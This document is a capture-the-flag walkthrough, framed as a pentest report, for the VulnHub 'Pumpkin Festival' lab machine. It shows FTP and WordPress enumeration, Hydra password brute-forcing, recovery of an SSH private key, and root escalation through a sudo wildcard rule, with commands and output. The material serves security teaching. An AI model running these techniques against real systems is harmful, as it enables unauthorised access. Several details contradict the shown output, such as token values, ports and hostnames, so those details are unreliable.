

# MAJOR PROJECT

**Compromise the vulnhub machine and reach root and access PumpkinFestival\_Ticket and collect PumpkinTokens on the way.**

## **Table of Contents**

- **Introduction**
- **Penetrating Methodology**
- **Privilege Escalation/PumpkinFestival\_Ticket**
- **Confidentiality Statement**
- **Contact Information**
- **Executive Summary**
- **Additional Scans and Report**

## Introduction

### Pumpkin\_Festival Vulnhub

Mission-Pumpkin v1.0 is a beginner level CTF series, created by keeping beginners in mind. This CTF series is for people who have basic knowledge of hacking tools and techniques but struggling to apply known tools. I believe that machines in this series will encourage beginners to learn the concepts by solving problems.

**PumpkinFestival** is level 3 of series of 3 machines under Mission under Mission -Pumpkin v1.0. The level 1 ends by accessing **PumpkinGarden\_Key** file. Level 2 is about identifying pumpkin seeds.

In this level (Level 3) it is time for Pumpkin Festival, the goal is to reach root and access **PumpkinFestival\_Ticket** and collect **PumpkinTokens** on the way.

# Penetrating Methodology

## 1. Scanning

- Nmap

## 2. Enumeration

- FTP
- WPScan
- DirBuster
- Enum4linux
- Hydra

## 3. Exploitation

- Exploiting Sudo rights

## Scanning

Let's start off with the scanning process. This target VM took the IP address of 192.168.1.101. automatically from our local wifi network.

Then, as usual, we used our favourite tool Nmap for port scanning. We found that port 21, 80 is open and ssh is running on port 6880.

```
nmap -p- -A 192.168.1.101
```

```

root@kali:~# nmap -p- -A 192.168.1.101
Starting Nmap 7.70 ( https://nmap.org ) at 2019-07-22 04:41 GMT
Nmap scan report for 192.168.1.101
Host is up (0.00066s latency).
Not shown: 65532 closed ports
PORT      STATE SERVICE VERSION
21/tcp    open  ftp      vsftpd 2.0.8 or later
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_ drwxr-xr-x    2 0          0          4096 Jul 12 22:26 secret
| ftp-syst:
|   STAT:
|   FTP server status:
|     Connected to 192.168.1.105
|     Logged in as ftp
|     TYPE: ASCII
|     No session bandwidth limit
|     Session timeout in seconds is 300
|     Control connection is plain text
|     Data connections will be plain text
|     At session startup, client count was 3
|     vsFTPD 3.0.2 - secure, fast, stable
|_ End of status
80/tcp    open  http      Apache httpd 2.4.7 ((Ubuntu))
| http-robots.txt: 4 disallowed entries
|_ /wordpress/ /tokens/ /users/ /store/track.txt
|_ http-server-header: Apache/2.4.7 (Ubuntu)
|_ http-title: Mission-Pumpkin
6880/tcp  open  ssh       OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.13 (Ubuntu Linux)
| ssh-hostkey:
|   1024 eb:cb:da:b3:be:b6:c8:0a:8b:6e:d5:bc:51:f7:9c:11 (DSA)
|   2048 19:6b:6e:d3:8a:fa:a9:73:05:5e:ac:af:28:ff:55:b8 (RSA)
|   256  00:a0:f2:8c:5e:a7:7e:7b:7b:d4:72:c3:ad:41:79:3b (ECDSA)
|_  256 aa:04:61:9a:ca:19:90:c3:55:3c:fc:cc:1a:05:be:3f (ED25519)
MAC Address: 00:0C:29:45:3D:A4 (VMware)
Device type: general purpose
Running: Linux 3.X|4.X

```

## Token 1

Anonymous login is enabled on the **ftp**. So we tried to login using **anonymous: anonymous**.

Upon successful login we traversed through different directories and found our first token

**2d6dbbae84d724409606eddd9dd71265** inside token.txt file.


```
ftp 192.168.1.101
```

```
cd secret
get token.txt
bye
cat token.txt
```

```
root@kali:~# ftp 192.168.1.101 ↩
Connected to 192.168.1.101.
220 Welcome to Pumpkin's FTP service.
Name (192.168.1.101:root): Anonymous
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
drwxr-xr-x  2 0      0              4096 Jul 12 22:26 secret
226 Directory send OK.
ftp> cd secret
250 Directory successfully changed.
ftp> ls
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
-rw-r--r--  1 0      0              48 Jul 12 22:27 token.txt
226 Directory send OK.
ftp> get token.txt
local: token.txt remote: token.txt
200 PORT command successful. Consider using PASV.
150 Opening BINARY mode data connection for token.txt (48 bytes).
226 Transfer complete.
48 bytes received in 0.00 secs (32.6200 kB/s)
ftp> bye
221 Goodbye.
root@kali:~# cat token.txt
PumpkinToken : 2d6dbbae84d724409606eddd9dd71265
root@kali:~#
```

## Token 2

Port 80 is open on the target system, we opened the IP address in our browser we didn't get any token but got a word named **Alohomera!** Which might be useful later on.



We checked for the page source of the page and got our second token

**45d9ee7239bc6b0bb21d3f8e1c5faa52**

In the page source only we also found one username **Harry** which we will use in the later stage.

```
32 document.onmouseup = mouseonbutton;
33 </script>
34 </head>
35 <body>
36 </br></br>
37 <img src= "img/cat.gif" class="center" />
38 <!-- Image Credits : Pusheen - https://pusheen.com/ -->
39 <center>
40 <p style="font-family: verdana; font-size: 120%;">
41 </br></br>
42 </br>
43 <b><i>-- Happy Carnival --</i></b>
44 <br>
45 <center>
46 <p>Hola! Your Pumpkins are already at the PumpkinFestival.</p>
47 <p>Jack took all the efforts on raising your pumpkins with the help of Harry.</p>
48 <p>PumpkinTokens can help you get to your pumpkins.</p>
49 <b><i>Alohomora!</i></b>
50 </center>
51 <br>
52 <div class="token">
53 <div>
54 <div>
55 <div>
56 <div>
57 <!-- Harry, Find The Pumpkin -->
58 </div>
59 </div>
60 </div>
61 </div>
62 </div>
63 </br></br>
64 <p style="color:#FCF0E4">PumpkinToken : 45d9ee7239bc6b0bb21d3f8e1c5faa52</p>
65 </center>
66 </body>
67 </html>
```

## Token 3

In the nmap scan earlier we have got few directories, we tried to access each one of them one by one.

From the **/store/tract.txt** we found one username **admin** and a domain name **pumpkin.local**.


```
192.168.1.101//store/track.txt X +
192.168.1.101//store/track.txt
Hey Jack!
Thanks for choosing our local store. Hope you like the services.
Tracking code : 2542 8231 6783 486
-Regards
admin@pumpkins.local
```

We mapped the domain name with target machine's IP address in the /etc/hosts file.

```
root@kali:~# cat /etc/hosts ↩
127.0.0.1    localhost
127.0.1.1    kali
192.168.1.101 pumpkins.local
```

After that, we accessed the **pumpkin.local** from the browser it came out to be another WordPress site and got one more flag

**06c3eb12ef2389e2752335beccfb2080**



**Sorry! Pumpkins are out of stock.**


[contact admin](#)

## Token 4

There is one more directory which we got from the Nmap scan named /tokens.



We couldn't find anything inside this directory brute-forcing tool but we were still curious that there must be something inside this directory. So we did a number of hit and trials and finally got our fourth token **2c0e11d2200e2604587c331f02a7ebea** in **token.txt**.



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## Token 5


Since we have a WordPress site running under pumpkins.local domain name, we tried **wpscan** and got a file named **readme.html**

```
wpscan --url http://pumpkins.local -e at -e ap -e u
```

```

root@kali:~# wpscan --url http://pumpkins.local/ -e at -e ap u ↵

```


  
WordPress Security Scanner by the WPScan Team  
Version 3.5.4  
Sponsored by Sucuri - <https://sucuri.net>  
@\_WPScan\_, @ethicalhack3r, @erwan\_lr, @\_FireFart\_

```

[i] It seems like you have not updated the database for some time.
[?] Do you want to update now? [Y]es [N]o, default: [N]y
[i] Updating the Database ...
[i] Update completed.

[+] URL: http://pumpkins.local/
[+] Started: Mon Jul 22 04:57:57 2019

Interesting Finding(s):

[+] http://pumpkins.local/
| Interesting Entries:
| - Server: Apache/2.4.7 (Ubuntu)
| - X-Powered-By: PHP/5.5.9-1ubuntu4.29
| Found By: Headers (Passive Detection)
| Confidence: 100%

[+] http://pumpkins.local/xmlrpc.php
| Found By: Direct Access (Aggressive Detection)
| Confidence: 100%
| References:
| - http://codex.wordpress.org/XML-RPC_Pingback_API
| - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner
| - https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos
| - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login
| - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access

[+] http://pumpkins.local/readme.html
| Found By: Direct Access (Aggressive Detection)
| Confidence: 100%

```

We also got two usernames **admin** & **morse** for the WordPress site which we will use to access the admin login of the site later on.

```

[+] Enumerating Users (via Passive and Aggressive Methods)
Brute Forcing Author IDs - Time: 00:00:00 <=====

[i] User(s) Identified:


[+] admin
| Detected By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
| Confirmed By: Login Error Messages (Aggressive Detection)

[+] morse
| Detected By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
| Confirmed By: Login Error Messages (Aggressive Detection)


```

After accessing the URL **pumpkins.local/readme.html** we got some code.

We tried to crack it online and it was a base62 code which gave us a password **Ug0t!TrIpyJ** for user **morse & jack**.




As we have got the password for the morse, we logged in to the wp-admin and got our 5<sup>th</sup> token **7139e925fd43618653e51f820bc6201b**



## Token 6

Since we have one more wp-admin user named **admin** and if we remember we also have got keyword earlier named **Alohomera!** We tried this as our password to login into a WordPress site and were successfully able to do so and eventually got our 6<sup>th</sup> token **f2e00edc353309b40e1aed18ab2c4**




## Token 7

It's always a good practice to use multiple tools for bruteforcing to get more reliable and add on results.


We used **DirBuster** to bruteforce the URL

<http://pumpkin.local> and got one more directory named **license.txt**. Accessing the same directory in the browser gave us one more token

**5ff346114d634a015ce413e1bc3d8d71**



Access the same directory in the browser gave us one more token **5ff346114d634a015ce413e1bc3d8d71**



WordPress - Web publishing software

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PumpkinToken : 5ff346114d634a015ce413e1bc3d8d71

This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version.

## Token 8

We have a total of four users admin, morse, jack & harry with passwords only for only three.

So I tried to get the password of **harry** by Bruteforcing using hydra. We got a password **yrrah**.

```
hydra -L user.txt -P /usr/share/wordlists/rockyou.txt 192.168.1.101 ftp -e nsr
```

```
root@kali:~# hydra -L user.txt -P /usr/share/wordlists/rockyou.txt 192.168.1.101 ftp -e nsr
Hydra v8.8 (c) 2019 by van Hauser/THC - Please do not use in military or secret service organ
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2019-07-22 05:43:24
[DATA] max 16 tasks per 1 server, overall 16 tasks, 57377608 login tries (l:4/p:14344402), ~3
[DATA] attacking ftp://192.168.1.101:21/
[21][ftp] host: 192.168.1.101 login: harry password: yrrah
```

We logged into ftp of the target machine using these credentials and found the 8<sup>th</sup> token  
**ba9fa9abf2be9373b7cbd9a6457f374e**

```
ftp 192.168.1.101
ls
get token.txt
```

```
bye
cat token.txt
```

```
root@kali:~# ftp 192.168.1.101 ↩
Connected to 192.168.1.101.
220 Welcome to Pumpkin's FTP service.
Name (192.168.1.101:root): harry
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
drwxr-xr-x   3 0      0          4096 Jul 12 18:11 Donotopen
-rw-r--r--   1 0      0          48 Jul 12 22:33 token.txt
226 Directory send OK.
ftp> get token.txt
local: token.txt remote: token.txt
200 PORT command successful. Consider using PASV.
150 Opening BINARY mode data connection for token.txt (48 bytes).
226 Transfer complete.
48 bytes received in 0.00 secs (625.0000 kB/s)
ftp> bye
221 Goodbye.
root@kali:~# cat token.txt
PumpkinToken : ba9fa9abf2be9373b7cbd9a6457f374e
root@kali:~#
```

## Token 9

In the above screenshot you can see that there is a directory named **/Donotopen**, we went inside this directory and found another directory named **/NO** and after a lot of traversing we finally found the file name **token.txt**. We downloaded the file into our system and got the 9<sup>th</sup> token

**8d66ef0055b43d80c34917ec6c75f706**

```
cd Donotopen
ls
cd NO
cd NOO
```

```
cd NOOO
cd NOOOO
get token.txt
bye
cat token.txt
```

```
ftp> cd Donotopen ↵
250 Directory successfully changed.
ftp> ls
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
drwxr-xr-x  3 0      0      4096 Jul 12 18:17 NO
226 Directory send OK.
ftp> cd NO ↵
250 Directory successfully changed.
ftp> ls
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
drwxr-xr-x  3 0      0      4096 Jul 12 18:12 NOO
226 Directory send OK.
ftp> cd NOO ↵
250 Directory successfully changed.
ftp> ls
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
drwxr-xr-x  3 0      0      4096 Jul 12 18:12 NOOO
226 Directory send OK.
ftp> cd NOOO ↵
250 Directory successfully changed.
ftp> ls
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
drwxr-xr-x  3 0      0      4096 Jul 12 22:35 NOOOO
226 Directory send OK.
ftp> cd NOOOO ↵
250 Directory successfully changed.
ftp> ls
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
drwxr-xr-x  3 0      0      4096 Jul 14 03:12 NOOOOO
-rw-r--r--  1 0      0      48 Jul 12 22:35 token.txt
226 Directory send OK.
ftp> get token.txt ↵
local: token.txt remote: token.txt
200 PORT command successful. Consider using PASV.
150 Opening BINARY mode data connection for token.txt (48 bytes).
226 Transfer complete.
48 bytes received in 0.00 secs (593.3544 kB/s)
ftp> bye
221 Goodbye.
root@kali:~# cat token.txt
PumpkinToken : f9c5053d01e0dfc30066476ab0f0564c
```




## Token 10

It's time to get the 10<sup>th</sup> token.

From the above picture we might have seen there is one more directory **/N000000** and after some traversing found a file **data.txt**. We downloaded the file into our kali and found some random coded inside.

```
cd N000000
bye
get data.txt
```



```
ftp> cd N000000
250 Directory successfully changed.
ftp> ls
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
-rw-r--r--  1 0      0      4357 Jul 14 03:08 data.txt
226 Directory send OK.
ftp> get data.txt
local: data.txt remote: data.txt
200 PORT command successful. Consider using PASV.
150 Opening BINARY mode data connection for data.txt (4357 bytes).
226 Transfer complete.
4357 bytes received in 0.00 secs (2.2768 MB/s)
ftp> bye
221 Goodbye.
root@kali:~# cat data.txt
data00000664000000000054051351244746700055630ustar00BZh91AY&SY00"[00@`
0 000<F00=000p000 q0T00k200j0Y00J1y00h0 лЧ      J(00%d0e0000000
0'b10n0KfK|0M00F
#e0000000)8oL0Q0_L0s0m00d0000Q0=0500000000Q0.0000q>00
                                0{00007G0p00c)0?
```

We checked for the file type and it is tar file. We untar the file and got another file **data**.

That file also came out to be a zip file and after

Unzipping we got a file **key** and after untaring that,  
We finally got a file named **jack** which had hexdump  
Inside.

```
file data.txt
tar vxf data.txt
tar xjf data
tar vxf key
cat jack
```

```
root@kali:~# cd festival/
root@kali:~/festival# file data.txt
data.txt: POSIX tar archive
root@kali:~/festival# tar vxf data.txt
data
tar: A lone zero block at 8
root@kali:~/festival# ls
data data.txt
root@kali:~/festival# file data
data: bzip2 compressed data, block size = 900k
root@kali:~/festival# tar xjf data
tar: A lone zero block at 25
root@kali:~/festival# ls
data data.txt key
root@kali:~/festival# file key
key: POSIX tar archive
root@kali:~/festival# tar vxf key
jack
tar: A lone zero block at 22
root@kali:~/festival# ls
data data.txt jack key
root@kali:~/festival# file jack
jack: ASCII text, with very long lines, with no line terminators
root@kali:~/festival# cat jack
2d 2d 2d 2d 2d 42 45 47 49 4e 20 4f 50 45 4e 53 53 48 20 50 52 49 56 4
41 41 45 62 6d 39 75 5a 51 41 41 41 41 41 41 41 41 41 41 41 41 41 43
a 59 4a 4a 32 56 33 4c 37 51 74 72 63 6c 4a 70 7a 74 74 35 39 6d 33 57
51 68 33 73 6a 67 41 7a 75 32 74 4c 47 75 50 70 67 69 35 5a 75 38 79 6
4b 48 78 32 6d 73 6f 48 74 31 76 4f 71 65 50 44 4e 50 76 50 48 52 47
26 55 27 2f 21 70 4f 41 73 70 61 21 22 25 77 47 51 67 26 23 70 6f 23
```

Then we used **xxd** to convert and patch the hexdump  
Into binary.

We got an ssh private key.

```
xxd -r -p jack
```

```

root@kali:~/festival# xxd -r -p jack
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnZaC1rZXktdjEAAAAABG5vbmUAAAAAEbm9uZQAAAAAAAAABAAACFwAAAAAdzc2gtcn
NhAAAAAwEAAQAAAgEAWIIInyghdj2fsZYJJ2V3L7QtrclJpztt59m3Wmn4y9spMsd2tqJ2b
Fziqj2e+jZaKDWt9tyQFEVW0s340Qh3sjgAzu2tLGuPpgi5Zu8ynwUBMK7He+81sPvETve
bcdqpuzgsAwD5pC1z5LT7e0AImKHx2msoHtlv0qePDNPvPHRG20yUhrGuoFu4bLKWwun4+
YbeBMH0LlzzJhnqKAKF7oEfZ6V7/1yENsrd+8ewGZg63po0I2CoVzGJboxHDjbTgiNN0XW
x2g3oD0UsBIYjbuTdCt3R2r7RheyXLRgts8G5bZe9fViAl260g7jzGdjIr3y8ns/mpJ736
e3jQPSHCsEemcSj9zWdpXpHsiVX50dCkmyaJLFZpfXjhB5z3x6v1iSAkzsHChPeDzboSxj
xzKZb8yeYhNGP0ochEPARfi8jInII5Wv8jtBqTKqP7zu500zUxJzFzCMPLfJNwdZL/KAwB
TV2K9075hvDEQD1mH6IVVJyrNuruSRNavTetLWCpI48Hos3WGjzsmMuA79WGqBzWyS5kg0
wVckJADLgpLEiE+Ne9AbV0qLnSBh0AV2mD2s2Hmfr7f080TqXxAot6+7ADo/96Nf3ZnnBE
0516Q3WlmvoZbQ33mMSs0ItBLEjPxp3Lq8Lb19m2D2bZ2MDoc+Bcr+po/rr9ALRKiUsVts
sAAAdAQxmXLEMZL5QAAAAHc3NoLXJzYQAAAgEAWIIInyghdj2fsZYJJ2V3L7QtrclJpztt5
9m3Wmn4y9spMsd2tqJ2bFziqj2e+jZaKDWt9tyQFEVW0s340Qh3sjgAzu2tLGuPpgi5Zu8
ynwUBMK7He+81sPvETvebcdqpuzgsAwD5pC1z5LT7e0AImKHx2msoHtlv0qePDNPvPHRG2
0yUhrGuoFu4bLKWwun4+YbeBMH0LlzzJhnqKAKF7oEfZ6V7/1yENsrd+8ewGZg63po0I2C
oVzGJboxHDjbTgiNN0XWx2g3oD0UsBIYjbuTdCt3R2r7RheyXLRgts8G5bZe9fViAl260g
7jzGdjIr3y8ns/mpJ736e3jQPSHCsEemcSj9zWdpXpHsiVX50dCkmyaJLFZpfXjhB5z3x6
v1iSAkzsHChPeDzboSxjxzKZb8yeYhNGP0ochEPARfi8jInII5Wv8jtBqTKqP7zu500zUx
JzFzCMPLfJNwdZL/KAwBTV2K9075hvDEQD1mH6IVVJyrNuruSRNavTetLWCpI48Hos3WGj
zsmMuA79WGqBzWyS5kg0wVckJADLgpLEiE+Ne9AbV0qLnSBh0AV2mD2s2Hmfr7f080TqXx
Aot6+7ADo/96Nf3ZnnBE0516Q3WlmvoZbQ33mMSs0ItBLEjPxp3Lq8Lb19m2D2bZ2MDoc+
Bcr+po/rr9ALRKiUsVtsAAAADAQAABAAACABak2iFfQjLchb6dhoPsEcX3RzN3JdhrH3dD
DtQ18SAxJu1jocSaMv9niSYtlRvaoktBvns01/4xNbYo2l4CPZ/ndcB0HKY2mRIbs4JA6
h5M+oWKJUFTSaaIQWz7pklAdXVpmJ42WZSjbL1qr0XsQuEJI4mky8VS+eDakNv0pc9fQ+H
9Zo/TQFFroDYxFFfd0vM79CZK/eq6VuVuy0lQLDYVbX0eZAY/YUXTLYLbR3x7gTRnwRBW0
I4nWa3fqblnGjdEs0i421zNgIAAEBHseV+d0HdqNZhsisZqnINtl19A70wrDYTLBmXR0+z
WRFgc71rvvCg50al7/0a1hvKUQFCE6gpLcr7S/qevwVX9IF7PkV5+AlTlnzpZK900Jat2S
iZIGRu7+00PDZuSA5dKN5/fmZoCmukZ8KWGcao1mr5QjVb7SR0UA5sbvZQTUwJoCvxj7I0
wGEcEHBVdC/ArenxYxqh1ASdCtVxZ/BVtw/0yBTsEoDiH/nH7SncUb9xiq1X2mu4mV6f
yQz9MSwPhmCyyRoIzL0rn9dqmnp6KWCxnXP5KJG8eNS7BpbBlcqEpIoT93XXcTHyUsgJo
vH6TtZh87L6IZi8T8PraZaj1rxcNa3RLc+v2i8kynj0rlGTttW9Q2qNw98hekcSrXKijX1
2laYnc9fCJky7ZEc+BAAABAQCo50z5Q0HbcBkziqK70wrlm4WnYxU08I0Iu0sXBcEpF2DA
KEE1RF5Tch3anrWnR9M/BAVvCCRpqezJ6BY0BikFVwEUDlxSPNpNkJRl+qTC/P0Fr/KuRt
f+xWkcXepJYf7Yxrs73nUyWU3Dr9tcDuQYxDPtltIbAmvkIe4zB+Fvfu1LQLhAaHROPThs
lyZ0a9zQUoTqbu/dks+HNq0fibh6oxkGxcinxcejD8j0xyqhud2AlS+3TQq9pdIix/ZwLI
fNqzG58y4JojKgnys55sdTk3SBhN86ufMzV3ul3Tj9qqymtQHC9m0RofYWQhoilIqzaRYP
kW0uRHebKoCyAAW2AAABAQD1xXH584HshiYfQJxBXKZhSGGrfw82/U8K5Y+T/SZ0V3Gx/t
wjXXYLoCwjYyu7HJhHmed0AmsMrvBwyHM4pHW2r4IvfKqxiX3Lr3416isu+/PwSfc+QkIk
kjek6P0IYJytnzZgrzUAQF+kfh9PxxJnchIm+3YSwZYE8nAZxTSXGgMWSWqFwN9o0/P38L
ullceYhyn5ZV/NvSVi+MlKw3+ChpPZMYvqngdYPkS30vx5U0ZzPjtRkylWBHJB50gDgfd1
kxB7Rmpjvj8I3HMcXt2fygc6Qr35aMccAzXNIyF1FIMsWmxDjuU6qv+fkGyx8YkkcbB75b
HnDB6C+kBaL2rzAAABAQDIhTl2TwnR96BJ05KT9260T0m5w6qx4GuMF2B9PStQNd0BG0FG
n2A9z1EmCNHI63N7gGuL4MHxYm69YdnQtah/Ce0h/e0Q1vgaGNUU1052+480+KHQy2z7kK
MgE/qM4U7i5nfegFem1xE42i4EytRY2ag+gga4wZfe/98woeB80lKv+pBmNgHABlorTPLb
Kh7izLLZM6kQ0ASSfdF0RbZpRIIUIngRXRn94iZvn/8fwV2iCJ5WxqALtZSEJnaVcEqlkG
1j6XrfkeUUrYWL0orxbiyxMGeC19VvePPPvXvGKD8tSZ1NTnH3RkkQGKZjohQsd67IS4fup
16k4l9SutcrJAAAACXJvb3RAa2FsaQE=
-----END OPENSSH PRIVATE KEY-----

```

As we have got an ssh key, what we did is we used this key to ssh login the target machine on port 6808 with user **jack**.

After successful login we found our final and 10<sup>th</sup> token **8d66ef0055b43d80c34917ec6c75f706**

```
chmod 600 sshkey
ssh jack@192.168.1.101 -i sshkey -p 6880
file token
./token
sudo -l
```

```
root@kali:~/.ssh# chmod 600 sshkey ↵
root@kali:~/.ssh# ssh jack@192.168.1.101 -i sshkey -p 6880 ↵
-----
Welcome to Mission-Pumpkin
All remote connections to this machine are monitored and recorded
-----
Last login: Mon Jul 22 12:07:27 2019 from 192.168.1.105
-bash: /home/jack/.bash_profile: Permission denied
jack@pumpkin:~$ ls
token
jack@pumpkin:~$ file token ↵
token: setuid ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically
jack@pumpkin:~$ ./token ↵

PumpkinToken : 8d66ef0055b43d80c34917ec6c75f706

jack@pumpkin:~$ sudo -l ↵
[sudo] password for jack:
Matching Defaults entries for jack on pumpkin:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/

User jack may run the following commands on pumpkin:
    (ALL) /home/jack/pumpkins/alohomora*
```

## Privilege

## Escalation/PumpkinFestival\_Ticket

From the above picture, we can see jack has sudoer permission for **alohomora** file.

Now to get the root shell and then finally get the PumpkinFestival\_Ticket we will exploit the sudoer

permissions of the jack.

We checked for the pumpkins directory but couldn't find any, so we created a directory named pumpkins and then using echo command we created a file named **alohomora** with **/bin/bash** copied in it.

We then gave it execution permissions and tried to execute the file as **sudoer** and we successfully got **root shell** and eventually the **PumpkinFestival\_Ticket** which completes the challenge.

```
mkdir pumpkins
echo "/bin/sh" > /home/jack/pumpkins/alohomora
chmod 777 /home/jack/pumpkins/alohomora
id
cd /root
ls
cat PumpkinFestival_Ticket
```



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A penetration test is considered a snapshot time. The finding and recommendations reflect the information gathered during the assessment and not any changes or modifications made outside of that period.

Time-limited engagements do not allow for a full evaluation of all security controls. Hacking Articles prioritized the assessment to identify the weakest security controls an attacker would exploit. Hacking Articles recommends conducting similar assessments on an annual basis by internal or third -party assessors to ensure the continued success of the controls.

## **Contact Information**

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## Executive Summary

**Hacking Articles** evaluated Demo Corp's internal Security posture through penetration testing from June 20<sup>th</sup> to July 24<sup>th</sup> 2019.

The following provide a high-level overview of Vulnerabilities.

- Software vulnerabilities
- Hardware vulnerabilities
- Network vulnerabilities
- Social Engineering



- Physical Security vulnerability
- Cryptographic vulnerabilities
- Human factor vulnerabilities

## **Additional Scans and Reports**

Hacking articles provides all information gathered during testing. This includes tokens and full vulnerability scans in detailed formats. These report contain all about pumpkin festival tokens and access root. And additional vulnerabilities were not exploited by hacking articles.

This report contains mainly how to access Root with the help of the tokens and while Getting each token the username password is changing. But atleast we have got the root access of the pumpkinfestival\_ticket.

**THE END!**

**THANK YOU!**